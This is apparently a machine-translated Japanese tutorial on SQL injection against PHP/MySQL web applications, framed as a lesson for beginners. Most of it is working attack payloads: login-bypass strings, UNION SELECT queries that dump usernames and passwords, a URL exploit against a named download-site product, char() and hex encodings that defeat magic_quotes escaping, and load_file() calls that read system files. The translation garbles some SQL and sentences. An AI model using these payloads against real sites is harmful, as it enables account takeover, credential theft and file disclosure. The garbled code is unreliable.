この記事は主におかずのためのものです。すでに老鳥になっている人にとっては、いくつかのことは退屈に感じるかもしれませんが、注意深く見る限り、たくさんの興味深いことがわかります。
この記事を読んだ後は、次のことだけを理解する必要があります。
1. php+mysql 環境の構築方法を理解する CD に関連する記事が含まれています。php+mysql 環境の構築についてよくわからない場合は、最初にこの記事も含まれています。前回紹介したトピックスで。
2. 主に php.ini と httpd.conf を使用して、php と Apache の設定について一般的に理解します。
この記事では、主に php.ini の設定を使用します。安全上の理由から、通常は php.ini でセーフ モードをオンにします。つまり、safe_mode = On にします。もう 1 つは、PHP 実行エラーを返す display_errors です。これは多くの有用な情報を返すため、オフにする必要があります。 ,
つまり、display_errors= off とします。エラー表示をオフにすると、PHP 関数の実行エラー情報がユーザーに表示されなくなります。
PHP 設定ファイル php.ini には、非常に重要な設定オプション magic_quotes_gpc もあります。上位バージョンのデフォルトは、オリジナルのアンティーク レベルの PHP のみです。
デフォルトの設定は、magic_quotes_gpc=Off ですが、これはアンティークです。 . 人が使っているものもあるよ!
php.ini で magic_quotes_gpc=On を指定するとどうなりますか? パニックにならないでください。空は落ちません。送信された変数内のすべての ' (一重引用符)、" (二重引用符)、(バックスラッシュ)、および null 文字をバックスラッシュを含むエスケープ文字に変換するだけです。たとえば、' は ' になり、\ に変更されます。多くの場合、文字タイプにバイバイを言わなければなりません
しかし、落胆しないでください、私たちはそれに対処する良い方法を持っています
3. php 言語についての一定の基本知識を持ち、いくつかを理解してください。 SQL ステートメントは非常に単純なので、再充電するのに遅すぎることはありません
何ができるかを見てみましょう。その後、対処方法を見つけます。 magic_quotes_gpc=On の状況で
1: magic_quotes_gpc=Off の場合のインジェクション
magic_quotes_gpc =Off は非常に危険であると言われており、新しいこのバージョンではデフォルトで magic_quotes_gpc=On になっていますが、www.qichi.* や vbb などの一部のプログラムでは、magic_quotes_gpc=Off も見つかりました。フォーラムで magic_quotes_gpc=On を設定した場合でも、エスケープは自動的に排除されます。そのため、
magic_quotes_gpc=Off のインジェクション方法は依然として非常に人気があります
次に、構文、インジェクション ポイント、インジェクション タイプについて説明します。mysql+php インジェクションをいくつかの側面から詳しく説明しましょう
A: MYSQL 構文から始めましょう
1. まずは mysql の基本的な構文について話しましょう。これは、よく勉強していない子供たちの補習です ~_~
1)
SELECT [STRAIGHT_JOIN] [SQL_SMALL_RESULT] を選択します
select_expression,...
[INTO {OUTFILE | 'file_name' エクスポート オプション]
[FROM table_references
[WHERE where_定義]
[GROUP BY 列名 ,...]
[ORDER BY {unsigned_integer | 列名} | DESC]、...]
; ]
これらは一般的に使用されるもので、取得する列を参照します。後で、into outfile を使用して選択結果をファイルに出力することもできます。もちろん、select を使用して直接出力することもできます
select 'a';
+---+
|セット内の行 (0.00 秒)
詳細については、mysql 中国語マニュアルのセクション 7.12 を参照してください
いくつかの使用法について話しましょう
まずコードを見てみましょう
このコードは検索に使用されます
......
SELECT * FROM users WHERE username LIKE '%$search%' ORDER BY username
.......
?>
ここでは、mysql のワイルドカード文字について説明します。'%' はワイルドカード文字です。ワイルドカード文字には「*」と「_」が含まれます。「*」はフィールド名と一致するために使用され、「%」はフィールド値と一致するために使用されます。また、ワイルドカード文字も使用できます。これはアンダースコア "_" で、意味は同じです。上記とは異なり、任意の 1 文字と一致するために使用されます。上記のコードでは、「*」を使用して返されるすべてのフィールド名を表し、%$search% は $search 文字を含むすべてのコンテンツを表します。
どのように注射するのですか?
笑、ASP とよく似ています
フォームで送信してください
Aabb%' または ID# による 1=1 順序
注: # は mysql のコメントを意味します。つまり、次の SQL ステートメントは実行されません。後で議論します。
なぜ or 1=1 が使用されるのか疑問に思う人もいるかもしれません。以下を参照してください。
送信されたコンテンツを SQL ステートメントに取り込み、次のようにします。
SELECT * FROM users WHERE username LIKE '%aabb%' or 1=1 order by id# ORDER BY username
aabb を含むユーザー名がない場合、or 1=1 は戻り値を true にし、すべての値を返すことが可能になります
これも可能です
フォームで送信します
%' order by id#
または
' order by id#
は SQL ステートメントに取り込まれ、
SELECT * FROM users WHERE username LIKE '% %' order by id# ORDER BY username
および
SELECT * FROM users WHERE username LIKE ' になります。 %%' ID# で並べ替え ユーザー名で並べ替え
もちろん、すべてのコンテンツが返されます。
すべてのユーザーがリストされ、場合によってはパスワードも表示されます。
まず例を見てみましょう。Select ステートメントは、実際にはほぼどこにでも現れます。
2) 以下の更新を見てみましょう
これについては、Mysql 中国語マニュアルで説明されています:
UPDATE [LOW_PRIORITY] tbl_name SETcol_name1=expr1,col_name2=expr2,...
[WHERE where_diction]
UPDATE は、新しい値を持つ既存のテーブル SET 句は、変更する列とその列に指定する値を指定します。WHERE 句が指定されている場合は、どの行を更新するかを指定します。それ以外の場合は、すべての行が更新されます。
詳細については、MySQL 中国語マニュアルのセクション 7.17 を参照してください。ここで詳しく紹介すると非常に長くなります。
上記のことから、update は主に記事の変更やユーザーデータの変更などのデータ更新に使用されることがわかります。なぜなら、後者についてより懸念があるようです。
まずコードを見てみましょう
まず見てみましょう。テーブルの構造を与えると、誰もが明確に見ることができます
CREATE TABLE users (
id int(10) NOT NULL auto
インジェクションステートメントを作成しましょう
入力ボックスに入力します
a% と 1=2 Union select 1
alphaauthor# の、username,3,4,5, 6,7,8、password,10,11 が SQL ステートメントに挿入され、
select * from alphadb where title like %a% and 1=2 Union select になります。
1,ユーザー名,3,4,5 ,6,7,8, パスワード,10,11 from alphaauthor# %
結果は図 17 に示すとおりです
C: 注入場所から始めましょう。さまざまな注入攻撃方法を見てみましょう
1) まず、バックグラウンドログインを見てみましょう
//login.php
..... $ query="select * from alphaauthor where UserName= " .$HTTP_POST_VARS["UserName"]." および
Password= ". $HTTP_POST_VARS["Password"]
$result=mysql_query($query); $data=mysql_fetch_array($result);
if ( $data)
{
echo "バックエンド ログインが成功しました";
esle
{
echo "再ログイン"; .....
?>
ユーザー名とパスワード 何も処理せずに直接 SQL に書き込まれて実行されます。
それを回避する方法を見てみましょう?
最も古典的なものは依然として次のとおりです:
ユーザー名とパスワードの両方のボックスに
'or =
を入力し、それを SQL ステートメントに取り込んで
select * from alphaauthor where UserName= or = and Password= or =
次に結果の $ を取り込みます。データは true である必要があります。これは、正常にログインしたことを意味します。
他のバイパス方法もありますが、原理は同じで、$data が true を返す方法を見つけるだけです。
1.
ユーザー名とパスワードの両方を入力するか、a = a
SQL は
select * from alphaauthor where UserName= または a = a and Password=
または a = a
になります
2.
ユーザー名とパスワードの両方を入力するか、1=1 と ' =
SQL は
select * from alphaauthor where UserName= または 1=1 および ' =
および Password= または 1=1 および ' =
ユーザー名とパスワードが入力されるか、2>1 および ' =
SQL は
select * from alphaauthor になります。ここで UserName= または 2>1 および ' =
および Password= または 2>1 および ' =
ユーザー名が入力されるか、または 1 =1 になります。 # パスワードを任意に入力
SQL は
select * from alphaauthor where UserName= or 1=1 # となり
Password= anything
後半はコメントアウトされていますが、もちろん return は true のままです。
4.
管理者のid=1として、
SQLは
select * from alphaauthor where UserName= or id=1 # とパスワードも可能= 何でも
写真 18 など
どうでしょうか?直接ログインしてください!
授業後には、さらに多くの構築方法を考えてみましょう。
これについては上で何度も言及しており、数字や文字などが含まれるため、ここでは繰り返しません。
レビューのためのほんの一例です
Bihai Chaosheng ダウンロード ステーション - v2.0.3 lite にはインジェクションの脆弱性があり、コードはリストに表示されなくなりました
結果を見てください
http://localhost/down/index.php?url=&dlid= 1%20and%201=2%20union%20select%
201,2,パスワード,4,ユーザー名,6,7,8,9,10,11,12,13,14,15,16,17,18%20from %
20dl_users
図 20 に示すように
ユーザー名アルファ
パスワードの長いリスト。
3 フィールドにパスワードを入力し、5 フィールドにユーザー名を入力するのはなぜですか? すでに述べたように、3 段落と 5 段落は表示したいものとは異なる文字列タイプで表示されるはずです。ユーザー名とパスワードのフィールドの種類は同じである必要があるため、次のように配置します。
なぜ 18 フィールドを使用するのですか?結合選択の導入で、結合には選択の前後で同じ数のフィールドが必要であると述べたことをまだ覚えているかどうかはわかりませんが、選択の数を増やすと、18 個のフィールドが必要になると推測できます。この方法でのみ、union select の内容が正常に表示されます。
3) データ変更などのその他のことについては、ユーザー登録には主にユーザーレベルのアプリケーションが必要です。
更新と挿入については、上記で説明したときにすでに言及しましたが、あまり一般的ではないため、ここでは詳しく説明しません。
2: 次に、magic_quotes_gpc=On の場合にインジェクション攻撃のティーチングセッションに入ります
magic_quotes_gpc=On の場合、渡された変数内のすべての (一重引用符)、
" (二重引用符)、(バックスラッシュ) および null 文字は、バックスラッシュを含むエスケープ文字に自動的に変換されます
これにより、現時点では、数値型のみを注入することができ、
数値型については説明しました。数値型は一重引用符を使用しないので、この場合は直接挿入するだけで問題ありません
1) 文字型の場合は次のようにする必要があります。文字の周りに引用符がないようです。
ここでは、いくつかの文字列処理関数を使用する必要があります。 詳細については、MySQL 中国語を参照してください。リファレンスマニュアル 7.4.10.
char() はパラメータを整数として解釈し、これらの整数の ASCII コード文字で構成される文字列を返します
もちろん、文字を 16 進数に置き換えることもできます。また、この方法は、ベースの前に0xを追加します。 ;
...
?>
ASCII に変換すると、char(97,108,112,104,97) になります
16 に変換されます ベースは 0x616C706861 です
( CD にある 16 進数および ASCII 変換ツール)
ブラウザに直接入力します:
http://localhost/site/admin/login.php?username=char( 97,108,112,104,97)%23
select * from alphaAut
hor where UserName=char(97,108,112,104,97)# および Password=
予想通り、彼はスムーズに仕事をこなし、私たちが望んでいたものを手に入れることができました。
もちろん、次のように構築することもできます
http://localhost/site/admin/login.php?username=0x616C706861%23
SQL ステートメントは次のようになります:
select * from alphaAuthor where UserName=0x616C706861%23# andパスワード=
またしても成功しました。とても達成感があります。
char() に # を入れることもできるかどうか尋ねられるかもしれません
実際、char(97,108,112,104,97) は alpha と同等です
alpha は引用符で囲まれており、アルファ文字列を示していることに注意してください。
ERROR 1054 (42S22): Unknown column alpha in where 句
を実行すると、エラーが返されることがわかります。なぜなら、彼はアルファが変数であると考えるからです。したがって、アルファを引用符で囲む必要があります。
以下のように
mysql> select * from dl_users where username= alpha ; これは正しいです。
そこに # 数字を入れると alpha# になります
それを SQL ステートメントに組み込みます
select * from dl_users where username= alpha#;
もちろん、ユーザー alpha# さえあるので何もありません。
さて、例を見てみましょう、
//display.php
$query="select * from ".$art_system_db_table[article ]."
where type=$type;
. ... ..
?>
$type にはフィルタリングがなく、プログラム内で引用符で囲まれていません。
char(120,105,97,111,104,117,97) に変換されます
http://localhost/display.php?type=char(120,105,97,111,104,117,97) と 1=2 Union select 1,2,username,4, をビルドします。 alphaauthor からのpassword,6 ,7,8,9,10,11
select * from ".$art_system_db_table[article ]."
where type=char(120,105,97,111,104,117,97) および 1 =2 Union select 1,2,username,4,password,6,7,8,9,10,11 from alphaauthor
スクリーンショットはありませんが、想像してみてください: P
2) いくつか人々は、magic_quotes_gpc=On の場合でも強力なload_file() を使用できるのではないかと疑問に思うかもしれません
これは、まさに以下で取り上げる質問です。load_file() の使用形式は、load_file('file path) です。 'file path into char(). 試してみてください
load_file(char(99,58,47,98,111,111,116,46,105,110,105))
画像 22
それを特定のインジェクションに入れるのは
http://localhost/down/index.php?url=&dlid=1%20and%201=2%20union%20select%
201,2,load_file(char
17,18
画像 23 を見てください
ほら、boot.ini の内容を見ました。
into outfile をバイパスできないのは残念ですが、そうでなければさらに楽しいでしょう。しかし、select * from table into outfile を使用できる場所はまだあります。つまり... (最初にヒントを与えます。以下で説明します)